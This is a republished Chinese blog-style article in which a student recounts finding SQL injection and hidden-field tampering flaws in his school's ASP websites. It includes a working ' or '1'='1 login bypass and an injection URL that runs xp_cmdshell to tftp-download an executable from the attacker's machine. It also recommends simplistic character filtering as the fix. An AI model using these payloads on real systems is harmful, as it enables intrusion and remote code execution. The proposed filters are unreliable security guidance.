跳至正文
-
欢迎您时常回来看看,不错过任何精彩文章。收藏本站!
第七手机网

中国大型手机资讯类网站! https://www.7shouji.com

第七手机网

中国大型手机资讯类网站! https://www.7shouji.com

  • 首页
  • 资讯
  • 热门品牌
  • 新机曝光
  • 安卓频道
  • 苹果频道
  • 智能家居
  • 手游
  • 5G频道
  • VR
  • 趣闻
  • 智能生活
  • 首页
  • 资讯
  • 热门品牌
  • 新机曝光
  • 安卓频道
  • 苹果频道
  • 智能家居
  • 手游
  • 5G频道
  • VR
  • 趣闻
  • 智能生活
关

搜索

趣闻

测试我们学校服务器的安全性

作者 dawei
2019年11月25日

我自从在学校维护学生会网站以后,就有了不小的权限,我只要上传一个“海阳顶端网ASP木马”就可以任意修改任何web页面了,因为学校里所有的站点都放在http://www.nothing.com/里面,不过我可不敢这样做,也不会这样做。最近学习ASP挺上瘾,就看看学校自己写的ASP程序有什么隐患吧。、 

问题一 

  除了前台只有少量的asp文件,就是用户注册(是学校的人才能注册)、登陆、忘记密码、个人信息修改这几个ASP文件,先看看忘记密码,lostpass.asp是一个提交页面,没有任何ASP语句,看看

里目标文件是lostpass1.asp,再查看原代码,没有发现问题(是我的水平有限),再看下一个lostpass2.asp,呵呵,发现了一句有毛病的语句: 

sql=”select pwd,answer from [member] where userID='”&userID&”‘ and answer='”&answer&”‘” 

  这么低级的错误也会犯,此时,您只要根据sql构造一个特殊的用户名和密码,如:’ or ‘1’=’1 
这样,程序将会变成这样: 

sql=”select pwd,answer from [member] where userID=”&’or’1’=1&”and pass=”&answer&” 

  or是一个逻辑运算符,判断两个条件的时候,只要其中一个条件成立,那么等式将会成立,而在语言中,是以1来代表真的(成立),那么在这行语句中,原语句的”and”验证将不再继续,而因为”1=1″和”or”令语句返回为真值。这样的话我们从一开始就可以提交’ or ‘1’=’1这个来饶过验证了,不管我们在什么文本框我们都提交’ or ‘1’=’1这个都能顺利到达下一个页面,既然这样,我们用’ or ‘1’=’1来作为用户名和密码登陆,会怎么样呢?实验证明登陆成功,因为显示个人资料修改的链接了,果然正常显示了个人资料,我发现真实姓名不可改,说明一定有什么ID之类的来识别用户,于是直接查看网页源代码发现这么一行重要的东西: 
原来是靠这个hiddenField来辨别用户,那么如果我修改了value的值,那不是可以修改其他用户了吗?马上拿我以前注册的来试,把我的号码2001010XXX替换上去,然后修改

里的相对连接,另存为htm文件,然后提交我需要修改的资料。再看看我的资料,果然被修改了,这么说如果我我知道任何一个用户的hiddenField的值,就可以修改其资料,还不乱套?这个就搁在一边……这个问题可以写个函数禁止从外部提交数据得以解决。 
  不过这个漏洞有点局限性,如果想改某个用户的资料一定要知道hiddenField的值,否则只能乱改。不过既然这个文件这样了,我想后台入口验证程序应该也是这样,我试着登陆,成功了,所有会员的资料尽收眼底,而且任意添加和修改管理员,做什么都可以啊。 
  这个问题的防范方法其实很简单,处理输入字符就可以了,原来我还以为用replace()函数呢,请教了一下劲风,得知用mid()函数可以很好的解决,加一个判断就可以了: 

us=mid(input,i,1) 
if us=” ” or us=”‘” or us=”%” or us=”<" or us=">” or us=”&” then 
response.redirect “error_page.asp” 
response.end 

  几行代码就可以检查用户所输入的字符了,当然,应该尽量多检查一些特殊字符。这行代码意思是检查输入的字符中,如果有空格、单引号、百分号和“<”、“>”就重定向到error_page.asp这个页面。 
  虽然“海阳顶端网ASP木马”具有黑掉学校服务器的能力,但我们还是要从学校的程序入手,否则就没有意义了,“海阳顶端网ASP木马”在这里只充当一个查看原代码的角色。 

问题二 

  通常一些资料调用文件都会存在一些SQL injection漏洞,比如show.asp、showarticle.asp、shownews.asp、showuser.asp等等,因为这些文件很容易忽略检查变量,我看到一个shownews.asp文件。马上打开,其原代码如下(由于此文件太大,限于篇幅,我去掉了很多无关的HTML代码): 

<% option explicit %> 
 
<% 
dim sql,rs,rsc,thedate 
dim reviewable,aboutnews 
set rs=server.createobject(“adodb.recordset”) ‘查找显示相关新闻数目及是否开放评论权限 
rs.open “select * from news_parameter where parameterid=1”,conn,1,1 
if not rs.bof and not rs.eof then 
aboutnews=rs(“aboutnews”) 
if rs(“reviewable”)=1 then 
reviewable=1 
else 
reviewable=0 
end if 
else 
aboutnews=5 
reviewable=1 
end if 
rs.close 
set rs=nothing 
set rs=server.createobject(“adodb.recordset”) 
sql=”update news set hits=hits where newsid=” & cstr(request(“newsid”)) 
conn.execute sql 
if session(“purview”)=”” then 
rs.open “select * from news where newsid=” & cstr(request(“newsid”)) & ” and audit=1″,conn,1,1 
else 
rs.open “select * from news where newsid=” & cstr(request(“newsid”)),conn,1,1 
end if 
if err.number <> 0 then 
response.write “数据库出错” 
else 
if rs.bof and rs.eof then 
rs.close 
response.write “该新闻不存在或未经过审核” 
else 
%> 
 
 
 
<%=rs("topic")%> 
 
 
 
 
 
 
 
<% end if 
end if%> 
 

  大家看到了吗?文件根本没有对任何变量做任何检查,所以这个文件怎么利用都不过份,呵呵,看到这一句, 

rs.open “select * from news where newsid=” & cstr(request(“newsid”)),conn,1,1 

  由于程序根本没有对任何变量做任何检查。我们就可以可以直接构造 newsid 发动sql injection攻击,我们提交这样的代码就可以以连接这个SQL数据库的用户所拥有的权限执行系统命令。 

http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell ‘tftp -i myip get flash.exe’;– 

  针对这个文件的解决办法就是用replace函数过滤,看看下面的代码: 

replace(str,”‘”,”””) 
replace(str,”‘”,””) 

  这两行的意思就是把单引号替换为双引号和空格。 
  我们学校服务器的系统漏洞已经找不出什么东西了,但是由于Web程序的问题,导致服务器被控制,学校的技术人员怎么想呢?文章虽短,但问题已经说明很清楚了。 
  看来Web程序的问题实在不可忽视。Web程序安全的重点就是对字符检查——检查——再检查。 
  本人水平实在有限,写不出什么高深技术的文章,在这里献丑了。 

标签:

学校安全性我们服务器测试
作者

dawei

【声明】:第七手机网内容转载自互联网,其相关言论仅代表作者个人观点绝非权威,不代表本站立场。如您发现内容存在版权问题,请提交相关链接至邮箱:bqsm@foxmail.com,我们将及时予以处理。

关注我
其他文章
上一个

Opera 7 五个Dos漏洞

下一个

对国内流行的三大telnet扩展后门程序的比较

广告

最新文章

  • 真我13震撼登场!性能摄影双巅峰 2026年7月27日
  • 真我GT7 Pro登场,性能怪兽碾压全场 2026年7月27日
  • 真我15 Pro:性能续航双满分,手游党必选! 2026年7月27日
  • 真我14 Pro初体验:性能影像双巅峰 2026年7月27日
  • 真我15降临!性能爆表,手游挚爱 2026年7月27日

广告

云标签

5G Galaxy iPhone iQOO OPPO Pro Realme Redmi vivo 一加 三星 中国 京东 人工智能 体验 全球 区块 华为 发布 小米 影像 微软 怎么 性能 手机 技术 数智网 新机 旗舰 智能 智能家居 曝光 机器人 正式 游戏 系列 美国 芯片 苹果 荣耀 谷歌 运营商 骁龙 高通 魅族

广告

友情链接:155手机网 151手机网 185手机网

第七手机网

大型手机资讯类网站! https://www.7shouji.com

Copyright 2026 — 第七手机网. All rights reserved.